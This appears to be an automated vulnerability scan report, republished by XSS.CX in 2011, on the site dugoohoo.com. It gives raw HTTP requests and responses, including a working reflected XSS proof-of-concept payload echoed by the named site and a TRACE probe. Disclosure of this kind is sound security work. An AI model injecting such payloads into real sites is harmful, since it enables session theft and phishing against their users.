XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, dugoohoo.com

Report generated by XSS.CX at Mon Aug 22 09:20:43 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in dugoohoo.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Source code disclosure

2.1. http://dugoohoo.com/search/Play-By-Mail,

2.2. http://dugoohoo.com/search/xss

3. Cross-domain script include

3.1. http://dugoohoo.com/

3.2. http://dugoohoo.com/search/Play-By-Mail,

3.3. http://dugoohoo.com/search/xss

4. Cookie without HttpOnly flag set

4.1. http://dugoohoo.com/search/Play-By-Mail,

4.2. http://dugoohoo.com/search/xss

5. TRACE method is enabled

6. Robots.txt file

7. HTML does not specify charset

7.1. http://dugoohoo.com/about.html

7.2. http://dugoohoo.com/getImage.php

7.3. http://dugoohoo.com/landingSettings.php

8. Content type incorrectly stated

8.1. http://dugoohoo.com/getImage.php

8.2. http://dugoohoo.com/images/dugoohoologo2.jpg

8.3. http://dugoohoo.com/images/logo.jpg

8.4. http://dugoohoo.com/landingSettings.php



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55579"><script>alert(1)</script>07df4cf0f13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /?55579"><script>alert(1)</script>07df4cf0f13=1 HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?aq=f&sourceid=chrome&ie=UTF-8&q=dugoohoo
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:47 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:13:48 GMT; path=/
Vary: Accept-Encoding,User-Agent
Content-Length: 44798
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
<html>
<head>
<title>Dugoohoo.com-interactive search,local business search,local people search,local
...[SNIP]...
<a href="index.php?55579"><script>alert(1)</script>07df4cf0f13=1&hl=zh-cn" >
...[SNIP]...

2. Source code disclosure  previous  next
There are 2 instances of this issue:

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.


2.1. http://dugoohoo.com/search/Play-By-Mail,  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://dugoohoo.com
Path:   /search/Play-By-Mail,

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /search/Play-By-Mail, HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en; __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; SearchString=username%3D%26page%3D1%26action%3Dsearch_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:17:32 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:17:31 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:17:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Content-Length: 25580
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...
<input type="hidden" name="language" value="<%LANGUAGE%>"/>
...[SNIP]...
<script type="text/javascript">
$("#choose_language option").each(function(i){
if(this.value=='<%LANGUAGE%>'){
this.selected = true;
}
});
</script>
...[SNIP]...

2.2. http://dugoohoo.com/search/xss  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://dugoohoo.com
Path:   /search/xss

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /search/xss HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/search/Play-By-Mail,
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; PHPSESSID=169ef446df34cf2b2c58c5be033bc8bf; hl=en; s123user=29f7834879f436fc15403e9fad33ebaa.1314026067; SearchString=username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26action%3Darticle_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:18:37 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:18:37 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:18:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Content-Length: 27404
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...
<input type="hidden" name="language" value="<%LANGUAGE%>"/>
...[SNIP]...
<script type="text/javascript">
$("#choose_language option").each(function(i){
if(this.value=='<%LANGUAGE%>'){
this.selected = true;
}
});
</script>
...[SNIP]...

3. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://dugoohoo.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?aq=f&sourceid=chrome&ie=UTF-8&q=dugoohoo
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:29 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:13:29 GMT; path=/
Vary: Accept-Encoding,User-Agent
Content-Length: 44706
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
<html>
<head>
<title>Dugoohoo.com-interactive search,local business search,local people search,local
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4c24d6a31029b422"></script>
<script src="//s7.addthis.com/static/r07/menu66.js"></script>
<script src="//s7.addthis.com/static/r07/lang09/zh.js"></script>
...[SNIP]...

3.2. http://dugoohoo.com/search/Play-By-Mail,  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /search/Play-By-Mail,

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /search/Play-By-Mail, HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en; __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; SearchString=username%3D%26page%3D1%26action%3Dsearch_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:17:32 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:17:31 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:17:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Content-Length: 25580
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...
<link href="http://www.dugoohoo.com/css/vote.css" type="text/css" rel="stylesheet"/>

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4c24d6a31029b422"></script>
<script src="//s7.addthis.com/static/r07/menu66.js"></script>
<script src="//s7.addthis.com/static/r07/lang09/zh.js"></script>
...[SNIP]...

3.3. http://dugoohoo.com/search/xss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /search/xss

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /search/xss HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/search/Play-By-Mail,
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; PHPSESSID=169ef446df34cf2b2c58c5be033bc8bf; hl=en; s123user=29f7834879f436fc15403e9fad33ebaa.1314026067; SearchString=username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26action%3Darticle_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:18:37 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:18:37 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:18:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Content-Length: 27404
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...
<link href="http://www.dugoohoo.com/css/vote.css" type="text/css" rel="stylesheet"/>

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4c24d6a31029b422"></script>
<script src="//s7.addthis.com/static/r07/menu66.js"></script>
<script src="//s7.addthis.com/static/r07/lang09/zh.js"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://dugoohoo.com/search/Play-By-Mail,  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /search/Play-By-Mail,

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search/Play-By-Mail, HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en; __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; SearchString=username%3D%26page%3D1%26action%3Dsearch_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:17:32 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:17:31 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:17:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Set-Cookie: s123user=2f1c80e53c1ca72f16d7b995d5897966.1314026252; expires=Mon, 22-Aug-2011 15:47:32 GMT; path=/
Content-Length: 25580
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...

4.2. http://dugoohoo.com/search/xss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /search/xss

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search/xss HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/search/Play-By-Mail,
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; PHPSESSID=169ef446df34cf2b2c58c5be033bc8bf; hl=en; s123user=29f7834879f436fc15403e9fad33ebaa.1314026067; SearchString=username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26action%3Darticle_article

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:18:37 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SearchString=deleted; expires=Sun, 22-Aug-2010 15:18:37 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: hl=en; expires=Fri, 21-Oct-2011 15:18:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Set-Cookie: s123user=2070b4026c4369c762b5cbc2775379bc.1314026318; expires=Mon, 22-Aug-2011 15:48:38 GMT; path=/
Content-Length: 27404
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<HEAD><TITLE>d
...[SNIP]...

5. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: dugoohoo.com
Cookie: 79dfd86fcd6440a2

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:31 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: dugoohoo.com
Cookie: 79dfd86fcd6440a2; __utma=1.1779561803.1314025980.1314025980.1314025980.1; __utmb=1.1.10.1314025980; __utmc=1; __utmz=1.1314025980.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrer
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: dugoohoo.com

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:31 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Last-Modified: Tue, 02 Aug 2011 08:34:42 GMT
ETag: "1777000e-26f-4a9819e816c80"
Accept-Ranges: bytes
Content-Length: 623
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain

User-Agent: sogou spider
Disallow: /

User-Agent: YoudaoBot
Disallow: /

User-Agent: Yandex
Disallow: /

User-Agent: Bender
Disallow: /

User-Agent: *
Disallow: /cache/
Disallow: /cgi-bin/
Disallow: /
...[SNIP]...

7. HTML does not specify charset  previous  next
There are 3 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


7.1. http://dugoohoo.com/about.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /about.html

Request

GET /about.html HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?aq=f&sourceid=chrome&ie=UTF-8&q=dugoohoo
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
